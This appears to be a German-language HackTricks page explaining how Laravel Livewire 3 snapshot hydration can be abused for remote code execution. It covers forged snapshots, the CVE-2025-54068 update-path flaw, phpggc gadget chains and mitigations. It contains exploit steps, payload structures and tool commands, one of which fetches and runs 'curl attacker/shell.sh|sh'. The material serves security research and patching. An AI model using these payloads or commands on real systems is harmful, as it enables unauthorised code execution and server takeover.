Laravel Livewire Hydration & Synthesizer Abuse
Tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Zusammenfassung der Livewire-Zustandsmaschine
Livewire 3 Komponenten tauschen ihren Zustand über snapshots aus, die data, memo und eine Prüfsumme enthalten. Jeder POST an /livewire/update rehydriert den JSON-Snapshot serverseitig und führt die in der Warteschlange stehenden calls/updates aus.
class Checksum {
static function verify($snapshot) {
$checksum = $snapshot['checksum'];
unset($snapshot['checksum']);
if ($checksum !== self::generate($snapshot)) {
throw new CorruptComponentPayloadException;
}
}
static function generate($snapshot) {
return hash_hmac('sha256', json_encode($snapshot), $hashKey);
}
}
Jeder, der den APP_KEY besitzt (der zur Ableitung von $hashKey verwendet wird), kann daher beliebige Snapshots fälschen, indem er die HMAC neu berechnet.
Komplexe Eigenschaften werden als synthetische Tupel kodiert, die von Livewire\Drawer\BaseUtils::isSyntheticTuple() erkannt werden; jedes Tupel ist [value, {"s":"<key>", ...meta}]. Der Hydration-Kern delegiert einfach jedes Tupel an den in HandleComponents::$propertySynthesizers ausgewählten Synth und durchläuft rekursiv die Kinder:
protected function hydrate($valueOrTuple, $context, $path)
{
if (! Utils::isSyntheticTuple($value = $tuple = $valueOrTuple)) return $value;
[$value, $meta] = $tuple;
$synth = $this->propertySynth($meta['s'], $context, $path);
return $synth->hydrate($value, $meta, fn ($name, $child)
=> $this->hydrate($child, $context, "{$path}.{$name}"));
}
Dieses rekursive Design macht Livewire zu einer generischen Objekt-Instanziierungs-Engine, sobald ein Angreifer entweder die Tuple-Metadaten oder ein verschachteltes Tuple kontrolliert, das während der Rekursion verarbeitet wird.
Synthesizer, die Gadget-Primitiven bereitstellen
| Synthesizer | Attacker-controlled behaviour |
|---|---|
CollectionSynth (clctn) | Instanziiert new $meta['class']($value) nachdem jedes Kind rehydratisiert wurde. Jede Klasse mit einem Array-Konstruktor kann erstellt werden, und jedes Element kann selbst ein synthetisches tuple sein. |
FormObjectSynth (form) | Ruft new $meta['class']($component, $path) auf und weist dann jede öffentliche Eigenschaft aus den vom Angreifer kontrollierten Kindern via $hydrateChild zu. Konstruktoren, die zwei locker typisierte Parameter (oder Default-Args) akzeptieren, genügen, um beliebige öffentliche Eigenschaften zu erreichen. |
ModelSynth (mdl) | Wenn key in den Meta-Daten fehlt, führt es return new $class; aus, wodurch die Instanziierung beliebiger Klassen ohne Argumente ermöglicht wird. |
Weil Synths $hydrateChild auf jedes verschachtelte Element aufrufen, können durch rekursives Verschachteln von Tuples beliebige Gadget-Graphen aufgebaut werden.
Forging snapshots when APP_KEY is known
- Fange eine legitime
/livewire/update-Anfrage ab und dekodierecomponents[0].snapshot. - Injiziere verschachtelte Tuples, die auf Gadget-Klassen zeigen, und berechne
checksum = hash_hmac('sha256', json_encode(snapshot_without_checksum), APP_KEY)neu. - Re-encode das Snapshot, lasse
_token/memounverändert und spiele die Anfrage erneut ab.
Ein minimaler Proof-of-Execution verwendet Guzzle’s FnStream und Flysystem’s ShardedPrefixPublicUrlGenerator. Ein Tuple instanziiert FnStream mit Konstruktor-Daten { "__toString": "phpinfo" }, das nächste instanziiert ShardedPrefixPublicUrlGenerator mit [FnStreamInstance] als $prefixes. Wenn Flysystem jedes Prefix zu string castet, ruft PHP den vom Angreifer bereitgestellten __toString-callable auf und führt damit jede Funktion ohne Argumente aus.
From function calls to full RCE
Unter Ausnutzung von Livewire’s Instanziierungs-Primitiven passte Synacktiv phpggc’s Laravel/RCE4-Kette so an, dass die Hydration ein Objekt startet, dessen public Queueable-Zustand Deserialisierung auslöst:
- Queueable trait – jedes Objekt, das
Illuminate\Bus\Queueableverwendet, exponiert das öffentliche$chainedund führtunserialize(array_shift($this->chained))indispatchNextJobInChain()aus. - BroadcastEvent wrapper –
Illuminate\Broadcasting\BroadcastEvent(ShouldQueue) wird viaCollectionSynth/FormObjectSynthinstanziiert, wobei das öffentliche$chainedgefüllt ist. - phpggc Laravel/RCE4Adapted – der serialisierte Blob, der in
$chained[0]gespeichert ist, bautPendingBroadcast -> Validator -> SerializableClosure\Serializers\Signed.Signed::__invoke()ruft schließlichcall_user_func_array($closure, $args)auf und ermöglicht sosystem($cmd). - Stealth termination – durch Übergabe eines zweiten
FnStream-callables wie[new Laravel\Prompts\Terminal(), 'exit']endet die Anfrage mitexit()statt mit einer lauten Exception, wodurch die HTTP-Antwort sauber bleibt.
Automating snapshot forgery
synacktiv/laravel-crypto-killer liefert jetzt einen livewire-Modus, der alles zusammenfügt:
./laravel_crypto_killer.py exploit -e livewire -k base64:APP_KEY \
-j request.json --function system -p "bash -c 'id'"
Das Tool parst den erfassten Snapshot, injiziert die gadget tuples, berechnet die Checksumme neu und gibt eine versandbereite /livewire/update-Payload aus.
CVE-2025-54068 – RCE ohne APP_KEY
Laut dem Vendor Advisory betrifft das Problem Livewire v3 (>= 3.0.0-beta.1 und < 3.6.3) und ist auf v3 beschränkt.
updates werden in den Komponentenstatus zusammengeführt nachdem die Snapshot-Checksumme validiert wurde. Wenn eine Property im Snapshot ein (oder zu einem) synthetic tuple wird, verwendet Livewire dessen Meta erneut, während es den vom Angreifer kontrollierten Update-Wert befüllt:
protected function hydrateForUpdate($raw, $path, $value, $context)
{
$meta = $this->getMetaForPath($raw, $path);
if ($meta) {
return $this->hydrate([$value, $meta], $context, $path);
}
}
Exploit-Anleitung:
- Finde eine Livewire-Komponente mit einer ungeprüften public-Eigenschaft ohne Typdeklaration (z. B.
public $count;). - Sende ein Update, das diese Eigenschaft auf
[]setzt. Der nächste Snapshot speichert sie nun als[[], {"s": "arr"}].
Ein minimaler Type-Juggling-Ablauf sieht so aus:
POST /livewire/update
...
"updates": {"count": []}
Dann speichert der nächste Snapshot ein Tuple, das die arr-Synthesizer-Metadaten behält:
"count": [[], {"s": "arr"}]
- Erzeuge ein weiteres
updates-Payload, bei dem diese Eigenschaft ein tief verschachteltes Array enthält, das Tuples wie[ <payload>, {"s":"clctn","class":"GuzzleHttp\\Psr7\\FnStream"} ]einbettet. - Während der Rekursion wertet
hydrate()jedes verschachtelte Kind unabhängig aus, sodass vom Angreifer gewählte synth-Keys/Classes beachtet werden, selbst wenn das äußere Tuple und die Checksumme nie geändert wurden. - Verwende dieselben
CollectionSynth/FormObjectSynth-Primitiven, um ein Queueable-Gadget zu instanziieren, dessen$chained[0]die phpggc-Payload enthält. Livewire verarbeitet die gefälschten updates, ruftdispatchNextJobInChain()auf und erreichtsystem(<cmd>), ohne denAPP_KEYzu kennen.
Hauptgründe, warum das funktioniert:
updatessind nicht durch die Snapshot-Checksum abgedeckt.getMetaForPath()vertraut auf welche synth-Metadaten bereits für diese Eigenschaft vorhanden waren, selbst wenn der Angreifer sie zuvor durch schwache Typisierung in ein Tuple gezwungen hat.- Rekursion plus schwache Typisierung erlaubt, dass jedes verschachtelte Array als ein neues Tuple interpretiert wird, sodass beliebige synth-Keys und beliebige Klassen schließlich zur Hydration gelangen.
Livepyre – End-to-End-Ausnutzung
Livepyre automatisiert sowohl die APP_KEY-losen CVE- als auch den signed-snapshot-Pfad:
- Fingerprintet die eingesetzte Livewire-Version, indem es
<script src="/livewire/livewire.js?id=HASH">parst und den Hash auf verwundbare Releases abbildet. - Sammelt Basis-Snapshots, indem es harmlose Aktionen replayt und
components[].snapshotextrahiert. - Generiert entweder ein reines
updates-Payload (CVE-2025-54068) oder einen gefälschten Snapshot (bekannterAPP_KEY), der die phpggc-Kette einbettet. - Falls kein objekttypiger Parameter in einem Snapshot gefunden wird, greift Livepyre auf Brute-Force über Kandidaten-Parameter zurück, um eine coercible-Eigenschaft zu erreichen.
Typische Verwendung:
# CVE-2025-54068, unauthenticated
python3 Livepyre.py -u https://target/livewire/component -f system -p id
# Signed snapshot exploit with known APP_KEY
python3 Livepyre.py -u https://target/livewire/component -a base64:APP_KEY \
-f system -p "bash -c 'curl attacker/shell.sh|sh'"
-c/--check führt eine nicht-destruktive Prüfung durch, -F überspringt die Versionsprüfung, -H und -P fügen benutzerdefinierte Header oder Proxies hinzu, und --function/--param passen die php-Funktion an, die von der gadget chain aufgerufen wird.
Verteidigungsmaßnahmen
- Aktualisieren Sie auf die gepatchten Livewire-Builds (>= 3.6.4 laut Sicherheitsbulletin des Herstellers) und wenden Sie den Patch des Herstellers für CVE-2025-54068 an.
- Vermeiden Sie schwach typisierte public properties in Livewire-Komponenten; explizite scalar types verhindern, dass property values in arrays/tuples konvertiert werden.
- Registrieren Sie nur die synthesizers, die Sie wirklich benötigen, und behandeln Sie benutzerkontrollierte Metadaten (
$meta['class']) als nicht vertrauenswürdig. - Lehnen Sie Updates ab, die den JSON-Typ einer property ändern (z. B. scalar -> array), sofern dies nicht explizit erlaubt ist, und leiten Sie synth metadata stattdessen neu ab, anstatt stale tuples wiederzuverwenden.
- Rotieren Sie
APP_KEYumgehend nach jeder Offenlegung, da er offline snapshot forging ermöglicht, unabhängig davon, wie gepatcht die Code-Basis ist.
Referenzen
- Synacktiv – Livewire: Remote Command Execution via Unmarshaling
- synacktiv/laravel-crypto-killer
- synacktiv/Livepyre
- GHSA-29cq-5w36-x7w3 – Livewire v3 RCE advisory
Tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.


